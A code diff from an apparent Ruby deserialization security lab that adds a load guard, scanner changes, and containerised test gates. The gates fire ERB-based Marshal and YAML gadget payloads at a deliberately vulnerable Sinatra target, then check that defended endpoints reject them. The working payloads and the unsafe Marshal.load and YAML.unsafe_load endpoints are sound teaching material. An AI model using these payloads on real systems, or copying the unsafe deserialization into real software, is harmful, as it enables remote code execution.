@ -49,6 +84,7 @@ module Marshalsea
@arity = arity
@singleton = singleton
@touches_state = touches_state
@formats = formats
end
def singleton?
@ -59,6 +95,30 @@ module Marshalsea
gate == GATE_GATED
end
def soft_gated?
gate == GATE_SOFT
end
def link?
gate == GATE_LINK
end
def entry_point?
!link?
end
def dispatch_arity
ENTRY_POINTS.fetch(method_name).fetch(:arity)
end
def accepts_dispatch?
required = dispatch_arity
return true if required == VARIADIC
return arity == required unless arity.negative?
required >= (arity.abs - 1)
end
def zero_arity?
arity.zero?
end
@ -80,8 +140,9 @@ module Marshalsea
end
def reachable?
return true if gated?
return false unless zero_arity?
return false unless entry_point?
return false unless accepts_dispatch?
return true if gated? || soft_gated?
touches_state? || unreadable_source?
end
@ -149,13 +210,25 @@ module Marshalsea
end
def ungated
candidates.reject(&:gated?)
candidates.select { |candidate| candidate.gate == GATE_UNGATED }
end
def links
candidates.select(&:link?)
end
def entry_points
candidates.select(&:entry_point?)
end
def reachable
candidates.select(&:reachable?)
end
def reachable_in(format)
reachable.select { |candidate| candidate.formats.include?(format) }
end
def prism_available?
PRISM_AVAILABLE
end
@ -210,27 +283,29 @@ module Marshalsea
end
def collect_instance_methods(mod, name)
own = own_instance_methods(mod, name)
(own & GATED_METHODS).each do |method_name|
record(mod, name, method_name, GATE_GATED, singleton: false)
end
(own & UNGATED_METHODS).each do |method_name|
record(mod, name, method_name, GATE_UNGATED, singleton: false)
(own_instance_methods(mod, name) & INSTANCE_METHODS).each do |method_name|
record(mod, name, method_name, singleton: false)
end
end
def collect_singleton_methods(mod, name)
own = mod.singleton_methods(false).map(&:to_s)
(own & GATED_SINGLETON_METHODS).each do |method_name|
record(mod, name, method_name, GATE_GATED, singleton: true)
(own_singleton_methods(mod, name) & SINGLETON_METHODS).each do |method_name|
record(mod, name, method_name, singleton: true)
end
end
def own_instance_methods(mod, name)
(mod.instance_methods(false) + mod.private_instance_methods(false)).map(&:to_s)
(mod.instance_methods(false) +
mod.private_instance_methods(false) +
mod.protected_instance_methods(false)).map(&:to_s)
rescue StandardError => e
suppress(SITE_OWN_METHODS, name, e)
[]
end
def own_singleton_methods(mod, name)
(mod.singleton_methods(false) +
mod.singleton_class.private_instance_methods(false)).map(&:to_s)
rescue StandardError => e
suppress(SITE_OWN_METHODS, name, e)
[]
@ -240,17 +315,19 @@ module Marshalsea
"#{name}#{singleton ? '.' : '#'}#{method_name}"
end
def record(mod, name, method_name, gate, singleton:)
handle = singleton ? mod.singleton_method(method_name) : mod.instance_method(method_name)
def record(mod, name, method_name, singleton:)
spec = ENTRY_POINTS.fetch(method_name)
handle = singleton ? mod.singleton_class.instance_method(method_name) : mod.instance_method(method_name)
@candidates << Candidate.new(
class_name: name,
method_name: method_name,
gate: gate,
gate: spec.fetch(:gate),
source_location: format_location(handle.source_location),
arity: handle.arity,
singleton: singleton,
touches_state: state_reference_in(handle, qualified(name, method_name, singleton))
touches_state: state_reference_in(handle, qualified(name, method_name, singleton)),
formats: spec.fetch(:formats)
)
rescue StandardError, ScriptError => e
suppress(SITE_CANDIDATE, qualified(name, method_name, singleton), e)
@ -288,8 +365,14 @@ module Marshalsea
end
def parse_definitions(path)
parsed = Prism.parse_file(path)
if parsed.failure?
suppress(SITE_SOURCE_PARSE, path, ParseRecoveredError.new(parsed.errors.length))
return nil
end
found = {}
collect_definitions(Prism.parse_file(path).value, found)
collect_definitions(parsed.value, found)
found
rescue StandardError, ScriptError => e
suppress(SITE_SOURCE_PARSE, path, e)

View File

@ -8,7 +8,7 @@ Gem::Specification.new do |spec|
spec.name = "marshalsea"
spec.version = Marshalsea::VERSION
spec.authors = ["Carter Perez"]
spec.email = ["carterperez2222@gmail.com"]
spec.email = ["carterperez@angelamos.com"]
spec.summary = "Ruby object-deserialization security lab: inspect, understand, and defend against gadget chains"
spec.description = "marshalsea parses Ruby Marshal streams without deserializing them, discovers " \
@ -22,7 +22,6 @@ Gem::Specification.new do |spec|
spec.metadata = {
"source_code_uri" => "#{spec.homepage}/tree/main/PROJECTS/beginner/deserialization-gadget-lab",
"bug_tracker_uri" => "#{spec.homepage}/issues",
"changelog_uri" => "#{spec.homepage}/blob/main/PROJECTS/beginner/deserialization-gadget-lab/CHANGELOG.md",
"documentation_uri" => "#{spec.homepage}/tree/main/PROJECTS/beginner/deserialization-gadget-lab/learn",
"rubygems_mfa_required" => "true"
}
@ -30,7 +29,6 @@ Gem::Specification.new do |spec|
spec.files = Dir[
"lib/**/*.rb",
"README.md",
"CHANGELOG.md",
"LICENSE"
]

View File

@ -11,7 +11,7 @@ TREE = ARGV.fetch(1)
EXPECTED_FLOOR = ARGV.fetch(2)
EXTRACT_ROOT = ARGV.fetch(3)
DOC_FILES = %w[README.md CHANGELOG.md LICENSE].freeze
DOC_FILES = %w[README.md LICENSE].freeze
LIB_PREFIX = "lib/"
FORBIDDEN = {

View File

@ -52,6 +52,52 @@ if loose_hostile.proceed?
fired = File.exist?(CANARY)
end
puts "documented_bypass_executes=#{fired}"
File.delete(CANARY) if File.exist?(CANARY)
G = Marshalsea::Marshal::LoadGuard
BODIES = []
class GuardGadget
def marshal_dump = ["x"]
def marshal_load(_d) = BODIES << :ran
end
class GuardBenign
def marshal_dump = ["x"]
def marshal_load(_d) = BODIES << :ran
end
gadget_blob = Marshal.dump(GuardGadget.new)
benign_blob = Marshal.dump(GuardBenign.new)
BODIES.clear
vetoed = begin
G.new.load(gadget_blob)
false
rescue Marshalsea::Marshal::GuardedLoadError
true
end
puts "guard_vetoes_an_unpermitted_hook=#{vetoed}"
puts "guard_vetoes_before_the_body_runs=#{BODIES.empty?}"
BODIES.clear
allowed = begin
G.new(permitted_class_names: %w[GuardBenign]).load(benign_blob)
true
rescue Marshalsea::Marshal::GuardedLoadError
false
end
puts "control_guard_admits_a_permitted_hook=#{allowed}"
puts "control_the_permitted_body_actually_ran=#{BODIES == [:ran]}"
BODIES.clear
guard_run = G.new
begin
guard_run.load(gadget_blob)
rescue Marshalsea::Marshal::GuardedLoadError
nil
end
puts "guard_reports_the_hook_it_refused=#{guard_run.observations.map(&:to_s) == ["GuardGadget#marshal_load"]}"
puts "guard_error_is_an_ordinary_standard_error=#{Marshalsea::Marshal::GuardedLoadError < StandardError}"
' 2>&1)"
echo "${output}" | sed 's/^/ /'
@ -77,6 +123,12 @@ expect observe_and_log_reports_observed "observe-and-log reports the third state
expect observe_and_log_proceeds_on_benign "observe-and-log still proceeds on a clean stream"
expect blocked_is_not_also_observed "the three decision states stay mutually exclusive"
expect documented_bypass_executes "the documented bypass actually executes, so the notice is honest"
expect guard_vetoes_an_unpermitted_hook "the runtime guard refuses an unpermitted deserialization hook"
expect guard_vetoes_before_the_body_runs "the guard vetoes before the hook body runs, which the load proc cannot do"
expect control_guard_admits_a_permitted_hook "a guard that refused everything would prove nothing"
expect control_the_permitted_body_actually_ran "the permitted hook really executed, so the control is live"
expect guard_reports_the_hook_it_refused "the guard names the hook it refused rather than failing silently"
expect guard_error_is_an_ordinary_standard_error "the guard raises a StandardError, not a SecurityError that skips every rescue"
echo
if [[ ${failures} -eq 0 ]]; then

View File

@ -8,53 +8,91 @@ HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
VULNERABLE_IMAGE="ruby:4.0.2-slim"
PATCHED_IMAGE="ruby:4.0.6-slim"
VULNERABLE_TAG="marshalsea-chain:vulnerable"
PATCHED_TAG="marshalsea-chain:patched"
build_probe_image() {
docker build -q \
--build-arg "RUBY_IMAGE=$1" \
-f "${HERE}/target/chain.Dockerfile" \
-t "$2" "${HERE}" >/dev/null
}
run_probe() {
local image="$1"
local tag="$1"
local label="$2"
docker run --rm \
--network none \
--read-only \
--tmpfs /tmp:rw,noexec,nosuid,size=1m \
--user nobody \
-e "MATRIX_IMAGE=${image#ruby:}" \
-e "MATRIX_IMAGE=${label}" \
-v "${HERE}/lib:/app/lib:ro" \
-v "${HERE}/test/support/exploit_probe.rb:/app/probe.rb:ro" \
-w /app \
"${image}" ruby -Ilib /app/probe.rb 2>&1
"${tag}" ruby -Ilib /app/probe.rb 2>&1
}
echo "CVE-2026-41316 exploit gate"
echo
vulnerable_output="$(run_probe "${VULNERABLE_IMAGE}")"
vulnerable_status=$?
echo " ${vulnerable_output}"
echo "building probe images"
build_probe_image "${VULNERABLE_IMAGE}" "${VULNERABLE_TAG}" || {
echo "FAIL could not build the vulnerable probe image"
exit 1
}
build_probe_image "${PATCHED_IMAGE}" "${PATCHED_TAG}" || {
echo "FAIL could not build the patched probe image"
exit 1
}
echo
patched_output="$(run_probe "${PATCHED_IMAGE}")"
vulnerable_output="$(run_probe "${VULNERABLE_TAG}" "${VULNERABLE_IMAGE#ruby:}")"
vulnerable_status=$?
echo "${vulnerable_output}" | sed 's/^/ /'
patched_output="$(run_probe "${PATCHED_TAG}" "${PATCHED_IMAGE#ruby:}")"
patched_status=$?
echo " ${patched_output}"
echo "${patched_output}" | sed 's/^/ /'
echo
failures=0
if [[ "${vulnerable_output}" == *"outcome=FIRED"* ]]; then
echo " PASS payload executes on the vulnerable image"
expect_line() {
local output="$1" key="$2" want="$3" message="$4"
if echo "${output}" | grep -qx "${key}=${want}"; then
echo " PASS ${message}"
else
echo " FAIL ${message}"
failures=$((failures + 1))
fi
}
if [[ "${vulnerable_output}" == *"chain=FIRED"* ]]; then
echo " PASS the chain executes from Marshal.load alone on the vulnerable image"
else
echo " FAIL payload did not execute on the vulnerable image"
echo " FAIL the chain did not execute on the vulnerable image"
failures=$((failures + 1))
fi
if [[ "${patched_output}" == *"outcome=BLOCKED"* ]]; then
echo " PASS patched image blocks the same payload"
if [[ "${patched_output}" == *"chain=BLOCKED"* ]]; then
echo " PASS the patched image blocks the same chain"
else
echo " FAIL patched image did not block the payload"
echo " FAIL the patched image did not block the chain"
failures=$((failures + 1))
fi
if [[ ${vulnerable_status} -eq 0 && ${patched_status} -eq 0 ]]; then
echo " PASS observed outcome matched the chain metadata prediction on both"
expect_line "${vulnerable_output}" builder_did_not_execute_its_own_payload true \
"building the payload does not run it in the builder's own process"
expect_line "${vulnerable_output}" primitive_is_inert_until_the_application_calls_it true \
"the primitive is inert on load and needs an application call, unlike the chain"
expect_line "${vulnerable_output}" chain_carries_no_sink_tag true \
"the chain carries no sink tag, so only the class rules can catch it"
if [[ "${vulnerable_status}" -eq 0 && "${patched_status}" -eq 0 ]]; then
echo " PASS every observed outcome matched the chain metadata prediction"
else
echo " FAIL observed outcome contradicted the chain metadata prediction"
echo " FAIL an observed outcome contradicted the chain metadata prediction"
failures=$((failures + 1))
fi

View File

@ -103,7 +103,7 @@ echo " rake release would tag: ${release_tag}"
echo "release_tag_is_namespaced=$([[ ${release_tag} == "marshalsea-v${gem_version}" ]] && echo true || echo false)" | record
bare_tag="$(run -v "${HERE}:/app:ro" -w /tmp "${BUILD_IMAGE}" sh -c '
cp -r /app/lib /app/marshalsea.gemspec /app/README.md /app/CHANGELOG.md /app/LICENSE /tmp/ 2>/dev/null
cp -r /app/lib /app/marshalsea.gemspec /app/README.md /app/LICENSE /tmp/ 2>/dev/null
printf "require \"rake\"\nrequire \"bundler/gem_tasks\"\n" >/tmp/Rakefile
ruby -e "require \"rake\"; load \"Rakefile\"; print Bundler::GemHelper.instance.send(:version_tag)"
' 2>/dev/null)"
@ -112,7 +112,8 @@ echo
echo "=== 5 the floor is measured, not asserted ==="
suite_status=0
for suite in marshal/parser_test scanner_test chains_test marshal/boundary_detector_test corpus_test; do
for suite in marshal/parser_test scanner_test chains_test marshal/boundary_detector_test \
marshal/load_guard_test psych/inspector_test corpus_test; do
if ! docker run --rm --network none -v "${HERE}:/app:ro" -w /app "${FLOOR_IMAGE}" \
ruby -Ilib -Itest "test/${suite}.rb" >/dev/null 2>&1; then
echo " ${suite} is RED on the floor image"
@ -167,14 +168,14 @@ Gem::Specification.new do |spec|
spec.homepage = "https://github.com/CarterPerez-dev/Cybersecurity-Projects"
spec.license = "AGPL-3.0-or-later"
spec.required_ruby_version = ">= 3.4"
spec.files = Dir["lib/**/*.rb", "target/**/*", "README.md", "CHANGELOG.md", "LICENSE"]
spec.files = Dir["lib/**/*.rb", "target/**/*", "README.md", "LICENSE"]
spec.require_paths = ["lib"]
end
SPEC
run -v "${HERE}:/src:ro" -v "${WORK}/ships-target:/out" -w /out "${BUILD_IMAGE}" sh -c '
set -e
tar -C /src -cf - lib target README.md CHANGELOG.md LICENSE | tar -xf -
tar -C /src -cf - lib target README.md LICENSE | tar -xf -
gem build marshalsea.gemspec
' >/dev/null 2>&1

View File

@ -8,15 +8,30 @@ HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
IMAGE="marshalsea-target:local"
CONTAINER="marshalsea-target-gate"
PORT="${MARSHALSEA_TARGET_PORT:-47823}"
BASE="http://127.0.0.1:${PORT}"
NETWORK="marshalsea-target-gate-net"
BUILD_IMAGE="ruby:4.0-slim"
CANARY_PATH="/tmp/marshalsea-canary"
CANARY_MARKER="fired"
TARGET_BASE="http://${CONTAINER}:4567"
PINNED_GEMS="rack 3.2.6 sinatra 4.2.1 rackup 2.3.1 webrick 1.9.2"
cleanup() {
docker rm -f "${CONTAINER}" >/dev/null 2>&1 || true
docker network rm "${NETWORK}" >/dev/null 2>&1 || true
}
trap cleanup EXIT
failures=0
fail() {
echo " FAIL $1"
failures=$((failures + 1))
}
pass() {
echo " PASS $1"
}
echo "building target image"
docker build -q -f "${HERE}/target/Dockerfile" -t "${IMAGE}" "${HERE}" >/dev/null || {
echo "FAIL image build"
@ -24,29 +39,71 @@ docker build -q -f "${HERE}/target/Dockerfile" -t "${IMAGE}" "${HERE}" >/dev/nul
}
cleanup
docker network create --internal "${NETWORK}" >/dev/null || {
echo "FAIL could not create the isolated network"
exit 1
}
docker run -d --name "${CONTAINER}" \
--network bridge \
--network "${NETWORK}" \
--read-only \
--tmpfs /tmp:rw,noexec,nosuid,size=1m \
-p "127.0.0.1:${PORT}:4567" \
--cap-drop ALL \
--security-opt no-new-privileges \
--pids-limit 128 \
--memory 256m \
"${IMAGE}" >/dev/null
client() {
local path="$1"
local cookie="${2:-}"
docker run --rm --network "${NETWORK}" \
-e "TARGET_BASE=${TARGET_BASE}" \
-v "${HERE}/scripts/target_client.rb:/client.rb:ro" \
"${BUILD_IMAGE}" ruby /client.rb "${path}" "${cookie}" 2>/dev/null
}
status_of() { printf '%s' "$1" | head -1 | cut -f1; }
body_of() { printf '%s' "$1" | tail -n +2; }
for _ in $(seq 1 40); do
curl -sf "${BASE}/" >/dev/null 2>&1 && break
[[ "$(status_of "$(client /)")" == "200" ]] && break
sleep 0.5
done
if ! curl -sf "${BASE}/" >/dev/null 2>&1; then
echo "FAIL target never became reachable on ${PORT}"
root="$(client /)"
if [[ "$(status_of "${root}")" != "200" ]]; then
echo "FAIL target never became reachable inside ${NETWORK}"
docker logs "${CONTAINER}" 2>&1 | tail -20
exit 1
fi
echo
curl -s "${BASE}/" | head -3
body_of "${root}" | head -3
echo
payload="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app ruby:4.0-slim \
echo "=== 1 isolation ==="
egress="$(docker run --rm --network "${NETWORK}" "${BUILD_IMAGE}" \
sh -c 'timeout 6 getent hosts rubygems.org >/dev/null 2>&1 && echo REACHED || echo BLOCKED' 2>/dev/null)"
if [[ "${egress}" == "BLOCKED" ]]; then
pass "the network that runs attacker Ruby has no route off the host"
else
fail "the target network reaches the internet, so a payload can too"
fi
resolved="$(docker run --rm --network none "${IMAGE}" \
ruby -e 'print %w[rack sinatra rackup webrick].map { |g|
"#{g} #{Gem::Specification.find_all_by_name(g).map(&:version).max}" }.join(" ")' 2>/dev/null)"
echo " resolved: ${resolved}"
if [[ "${resolved}" == "${PINNED_GEMS}" ]]; then
pass "the image ships exactly the pinned dependency versions"
else
fail "dependency drift: expected '${PINNED_GEMS}'"
fi
echo
echo "=== 2 the vulnerable endpoint ==="
payload="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app "${BUILD_IMAGE}" \
ruby -Ilib -e '
require "marshalsea"
require "base64"
@ -60,93 +117,140 @@ if [[ -z "${payload}" ]]; then
exit 1
fi
failures=0
before="$(body_of "$(client /canary)")"
vulnerable="$(client /render "session_state=${payload}")"
after="$(body_of "$(client /canary)")"
before="$(curl -s "${BASE}/canary")"
vulnerable_body="$(curl -s --cookie "session_state=${payload}" "${BASE}/render")"
after="$(curl -s "${BASE}/canary")"
echo " vulnerable endpoint : ${vulnerable_body}"
echo " vulnerable endpoint : $(status_of "${vulnerable}") $(body_of "${vulnerable}")"
echo " canary before/after : ${before} -> ${after}"
if [[ "${after}" == "${CANARY_MARKER}" && "${before}" != "${CANARY_MARKER}" ]]; then
echo " PASS HTTP request achieved code execution through Marshal.load"
if [[ "${before}" == "absent" && "${after}" == "${CANARY_MARKER}" &&
"$(status_of "${vulnerable}")" == "200" ]]; then
pass "HTTP request achieved code execution through Marshal.load"
else
echo " FAIL payload did not execute over HTTP"
failures=$((failures + 1))
fail "payload did not execute over HTTP with a 200"
fi
docker exec "${CONTAINER}" rm -f /tmp/marshalsea-canary >/dev/null 2>&1 || true
reset="$(curl -s "${BASE}/canary")"
safe_body="$(curl -s --cookie "session_state=${payload}" "${BASE}/render/safe")"
safe_after="$(curl -s "${BASE}/canary")"
docker exec "${CONTAINER}" rm -f "${CANARY_PATH}" >/dev/null 2>&1 || true
echo
echo " defended endpoint : ${safe_body}"
echo " canary before/after : ${reset} -> ${safe_after}"
echo "=== 3 the defended endpoint ==="
reset="$(body_of "$(client /canary)")"
defended="$(client /render/safe "session_state=${payload}")"
defended_after="$(body_of "$(client /canary)")"
if [[ "${safe_after}" != "${CANARY_MARKER}" && "${safe_body}" == rejected* ]]; then
echo " PASS defended endpoint rejected the identical payload"
echo " defended endpoint : $(status_of "${defended}") $(body_of "${defended}")"
echo " canary before/after : ${reset} -> ${defended_after}"
if [[ "$(status_of "${defended}")" == "400" && "$(body_of "${defended}")" == rejected:* &&
"${defended_after}" != "${CANARY_MARKER}" ]]; then
pass "defended endpoint answered 400 with a rejection and created no canary"
else
echo " FAIL defended endpoint did not reject the payload"
failures=$((failures + 1))
fail "defended endpoint did not reject the identical payload with a 400"
fi
jar="$(mktemp)"
curl -s -X POST "${BASE}/session" -d "" -c "${jar}" >/dev/null
benign="$(awk '$6 == "session_state" {print $7}' "${jar}")"
rm -f "${jar}"
echo
if [[ -z "${benign}" ]]; then
echo " FAIL could not obtain a benign session, the control did not run"
failures=$((failures + 1))
benign="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app "${BUILD_IMAGE}" \
ruby -Ilib -e '
require "base64"
print Base64.strict_encode64(Marshal.dump({ user: "guest", template: "hello" }))
')"
legitimate="$(client /render/safe "session_state=${benign}")"
echo " benign on defended : $(status_of "${legitimate}") $(body_of "${legitimate}")"
if [[ "$(status_of "${legitimate}")" == "200" &&
"$(body_of "${legitimate}")" == "rendered template for guest" ]]; then
pass "defended endpoint still serves a legitimate session with an exact body"
else
benign_body="$(curl -s --cookie "session_state=${benign}" "${BASE}/render/safe")"
echo " benign on defended : ${benign_body}"
if [[ "${benign_body}" == rejected* ]]; then
echo " FAIL defended endpoint rejects legitimate sessions, it is not a filter"
failures=$((failures + 1))
else
echo " PASS defended endpoint still serves a legitimate session"
fi
fail "defended endpoint does not serve legitimate sessions, it is not a filter"
fi
echo
echo "=== 4 every response is a contract, not a prefix ==="
encode() {
docker run --rm --network none ruby:4.0-slim \
docker run --rm --network none "${BUILD_IMAGE}" \
ruby -e "require \"base64\"; print Base64.strict_encode64(Marshal.dump($1))"
}
for root in '"plain string"' 'nil' '[1, 2]' '{ user: "x" }'; do
body_file="$(mktemp)"
code="$(curl -s -o "${body_file}" -w '%{http_code}' \
-H "Cookie: session_state=$(encode "${root}")" "${BASE}/render/safe")"
body="$(head -c 80 "${body_file}")"
rm -f "${body_file}"
echo " defended on root ${root} : HTTP ${code} ${body}"
if [[ "${code}" == "500" ]]; then
echo " FAIL the defence accepted this root and then crashed compiling it"
failures=$((failures + 1))
check_contract() {
local label="$1" path="$2" cookie="$3" want_status="$4" want_body="$5"
local response status body
response="$(client "${path}" "${cookie}")"
status="$(status_of "${response}")"
body="$(body_of "${response}")"
printf ' %-34s HTTP %-4s %s\n' "${label}" "${status}" "${body:0:56}"
if [[ "${status}" == "${want_status}" && "${body}" == ${want_body} ]]; then
pass "${label}"
else
fail "${label}: wanted HTTP ${want_status} matching '${want_body}'"
fi
}
for root_value in '"plain string"' 'nil' '[1, 2]' '{ user: "x" }'; do
check_contract "root ${root_value} is refused" /render/safe \
"session_state=$(encode "${root_value}")" 400 'rejected: payload is not a session hash'
done
echo
leak_file="$(mktemp)"
curl -s -o "${leak_file}" -H "Cookie: session_state=$(encode 'nil')" "${BASE}/render/safe"
curl -s -o "${leak_file}.v" -H "Cookie: session_state=$(encode 'nil')" "${BASE}/render"
if grep -qE "app\.rb|/app/lib|marshalsea/marshal" "${leak_file}" "${leak_file}.v"; then
echo " FAIL an error response leaked source paths or source lines"
failures=$((failures + 1))
else
echo " PASS error responses leak no source path or source line"
fi
rm -f "${leak_file}" "${leak_file}.v"
check_contract "no cookie is refused" /render/safe "" 400 "no session cookie"
check_contract "malformed base64 is refused" /render/safe "session_state=!!!not-base64!!!" \
400 "no session cookie"
echo
echo "=== 4b the same lesson in YAML ==="
yaml_payload="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app "${BUILD_IMAGE}" \
ruby -Ilib -e '
require "marshalsea"
require "base64"
src = "#\nend\nFile.write(%q{/tmp/marshalsea-canary}, %q{fired})\ndef _unused\n"
document = <<~YAML
---
:user: attacker
:template: !ruby/object:ERB
src: #{src.inspect}
filename: "(erb)"
lineno: 0
YAML
print Base64.strict_encode64(document)
')"
docker exec "${CONTAINER}" rm -f "${CANARY_PATH}" >/dev/null 2>&1 || true
yaml_before="$(body_of "$(client /canary)")"
yaml_vuln="$(client /yaml/unsafe "session_state=${yaml_payload}")"
yaml_after="$(body_of "$(client /canary)")"
echo " yaml unsafe endpoint: $(status_of "${yaml_vuln}") $(body_of "${yaml_vuln}")"
echo " canary before/after : ${yaml_before} -> ${yaml_after}"
if [[ "${yaml_before}" != "${CANARY_MARKER}" && "${yaml_after}" == "${CANARY_MARKER}" ]]; then
pass "YAML.unsafe_load reaches the same code execution as Marshal.load"
else
fail "the YAML payload did not execute over HTTP"
fi
docker exec "${CONTAINER}" rm -f "${CANARY_PATH}" >/dev/null 2>&1 || true
yaml_safe="$(client /yaml/safe "session_state=${yaml_payload}")"
yaml_safe_after="$(body_of "$(client /canary)")"
echo " yaml safe endpoint : $(status_of "${yaml_safe}") $(body_of "${yaml_safe}")"
if [[ "$(status_of "${yaml_safe}")" == "400" && "${yaml_safe_after}" != "${CANARY_MARKER}" &&
"$(body_of "${yaml_safe}")" == *"ERB"* ]]; then
pass "the YAML defence names ERB and creates no canary"
else
fail "the YAML defence did not reject the identical document"
fi
aliased="$(docker run --rm --network none "${BUILD_IMAGE}" ruby -e '
require "base64"
print Base64.strict_encode64("---\n:user: &u guest\n:template: *u\n")
')"
alias_body="$(client /yaml/safe "session_state=${aliased}")"
echo " inspector-approved, Psych-refused: $(status_of "${alias_body}") $(body_of "${alias_body}")"
if [[ "$(status_of "${alias_body}")" == "400" &&
"$(body_of "${alias_body}")" == *"Psych refused"* ]]; then
pass "Psych's own veto is live and not alibied by the inspector"
else
fail "the inspector approved this document and nothing else stopped it"
fi
echo
echo "=== 5 the class allowlist, not a parse error ==="
class_named() {
docker run --rm --network none ruby:4.0-slim ruby -e "
docker run --rm --network none "${BUILD_IMAGE}" ruby -e "
require \"base64\"
def sym(n) = \":\" + (n.bytesize + 5).chr + n
def str(s) = %q(\") + (s.bytesize + 5).chr + s
@ -155,25 +259,40 @@ print Base64.strict_encode64($1)
}
for probe in 'Marshal.dump(Object.new)' '("\x04\x08C" + sym("String") + str("hi")).b'; do
named_body="$(curl -s -H "Cookie: session_state=$(class_named "${probe}")" "${BASE}/render/safe")"
echo " class-named stream : ${named_body}"
if [[ "${named_body}" == *"unapproved class"* ]]; then
echo " PASS refused on the class name itself, not on a parse error"
named="$(client /render/safe "session_state=$(class_named "${probe}")")"
echo " class-named stream : $(status_of "${named}") $(body_of "${named}")"
if [[ "$(status_of "${named}")" == "400" && "$(body_of "${named}")" == *"unapproved class"* ]]; then
pass "refused on the class name itself, not on a parse error"
else
echo " FAIL PERMITTED_CLASS_NAMES admitted a class name, or something else rejected it first"
failures=$((failures + 1))
fail "PERMITTED_CLASS_NAMES admitted a class name, or something else rejected it first"
fi
done
echo
sinks="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app ruby:4.0-slim \
echo "=== 6 error responses leak nothing ==="
leaked=0
for probe in "session_state=$(encode 'nil')" "session_state=!!!"; do
for path in /render /render/safe; do
body="$(body_of "$(client "${path}" "${probe}")")"
if echo "${body}" | grep -qE "app\.rb|/app/lib|marshalsea/marshal"; then
leaked=1
fi
done
done
if [[ ${leaked} -eq 0 ]]; then
pass "error responses leak no source path or source line"
else
fail "an error response leaked source paths or source lines"
fi
echo
echo "=== 7 the chain carries no sink tag ==="
sinks="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app "${BUILD_IMAGE}" \
ruby -Ilib -e '
require "marshalsea"
require "base64"
chain = Marshalsea::Chains::ErbDefMethod.canary("/tmp/marshalsea-canary", "fired")
blob = Marshal.dump({ user: "attacker", template: chain.generate })
result = Marshalsea::Marshal::Parser.new(blob).parse
print result.sinks.length
print Marshalsea::Marshal::Parser.new(blob).parse.sinks.length
')"
echo " sink-tag hits on the working payload : ${sinks}"
@ -182,8 +301,7 @@ if [[ "${sinks}" == "0" ]]; then
echo " allowlist does. ERB defines no marshal_load, so it serializes as"
echo " a plain object and carries no sink tag."
else
echo " FAIL expected the ERB chain to carry no sink tag, got ${sinks}"
failures=$((failures + 1))
fail "expected the ERB chain to carry no sink tag, got ${sinks}"
fi
echo

View File

@ -0,0 +1,31 @@
# ©AngelaMos | 2026
# target_client.rb
# frozen_string_literal: true
require "net/http"
require "uri"
FIELD_SEPARATOR = "\t"
BODY_SEPARATOR = "\n"
TRANSPORT_FAILURE = "000"
OPEN_TIMEOUT = 5
READ_TIMEOUT = 10
path = ARGV.fetch(0)
cookie = ARGV[1]
uri = URI.parse("#{ENV.fetch('TARGET_BASE')}#{path}")
request = Net::HTTP::Get.new(uri)
request["Cookie"] = cookie if cookie && !cookie.empty?
begin
response = Net::HTTP.start(uri.hostname, uri.port,
open_timeout: OPEN_TIMEOUT, read_timeout: READ_TIMEOUT) do |http|
http.request(request)
end
print "#{response.code}#{FIELD_SEPARATOR}#{response.body.to_s.length}#{BODY_SEPARATOR}"
print response.body
rescue StandardError => e
print "#{TRANSPORT_FAILURE}#{FIELD_SEPARATOR}0#{BODY_SEPARATOR}"
print "#{e.class}: #{e.message}"
end

View File

@ -3,7 +3,11 @@
FROM ruby:4.0.2-slim
RUN gem install --no-document sinatra rackup webrick
RUN gem install --no-document \
rack:3.2.6 \
sinatra:4.2.1 \
rackup:2.3.1 \
webrick:1.9.2
WORKDIR /app

View File

@ -5,6 +5,7 @@
require "sinatra/base"
require "base64"
require "erb"
require "yaml"
require "marshalsea"
module Marshalsea
@ -28,10 +29,20 @@ module Marshalsea
limits: Marshalsea::Marshal::Limits.new
)
INSPECTOR = Marshalsea::Psych::Inspector.new(
permitted_class_names: PERMITTED_CLASS_NAMES,
limits: Marshalsea::Psych::Limits.new
)
YAML_PERMITTED_CLASSES = [Symbol].freeze
REFUSED_BY_PSYCH = "Psych refused the tag before reviving it: %s"
REJECTED = "rejected: %s"
RENDERED = "rendered template for %s"
NO_SESSION = "no session cookie"
NOT_A_SESSION = "payload is not a session hash"
REFUSED_BY_LOADER = "stream passed inspection and Marshal.load still refused it"
LOADER_REFUSED = Object.new.freeze
class App < Sinatra::Base
set :host_authorization, permitted_hosts: []
@ -48,6 +59,8 @@ module Marshalsea
"POST /session issue a benign session cookie",
"GET /render deserialize and compile the session template (VULNERABLE)",
"GET /render/safe inspect the stream before deserializing (DEFENDED)",
"GET /yaml/unsafe YAML.unsafe_load the same session (VULNERABLE)",
"GET /yaml/safe inspect, then YAML.safe_load, which vetoes the tag (DEFENDED)",
"GET /canary report whether the canary file exists"
].join("\n")
end
@ -76,12 +89,32 @@ module Marshalsea
decision = DETECTOR.inspect_stream(blob)
halt STATUS_BAD_REQUEST, format(REJECTED, decision.reason) unless decision.proceed?
state = ::Marshal.load(decision.snapshot)
state = revive(decision.snapshot)
halt STATUS_BAD_REQUEST, format(REJECTED, REFUSED_BY_LOADER) if state.equal?(LOADER_REFUSED)
halt STATUS_BAD_REQUEST, format(REJECTED, NOT_A_SESSION) unless session?(state)
compile(state)
end
get "/yaml/unsafe" do
content_type CONTENT_TYPE
document = decode(request.cookies[COOKIE_NAME])
halt STATUS_BAD_REQUEST, NO_SESSION unless document
compile(::YAML.unsafe_load(document))
end
get "/yaml/safe" do
content_type CONTENT_TYPE
document = decode(request.cookies[COOKIE_NAME])
halt STATUS_BAD_REQUEST, NO_SESSION unless document
decision = INSPECTOR.inspect_document(document)
halt STATUS_BAD_REQUEST, format(REJECTED, decision.reason) unless decision.proceed?
compile(safe_load(document))
end
get "/canary" do
content_type CONTENT_TYPE
File.exist?(CANARY_PATH) ? File.read(CANARY_PATH) : "absent"
@ -101,6 +134,18 @@ module Marshalsea
nil
end
def safe_load(document)
::YAML.safe_load(document, permitted_classes: YAML_PERMITTED_CLASSES, aliases: false)
rescue ::Psych::DisallowedClass, ::Psych::AliasesNotEnabled, ::Psych::SyntaxError => e
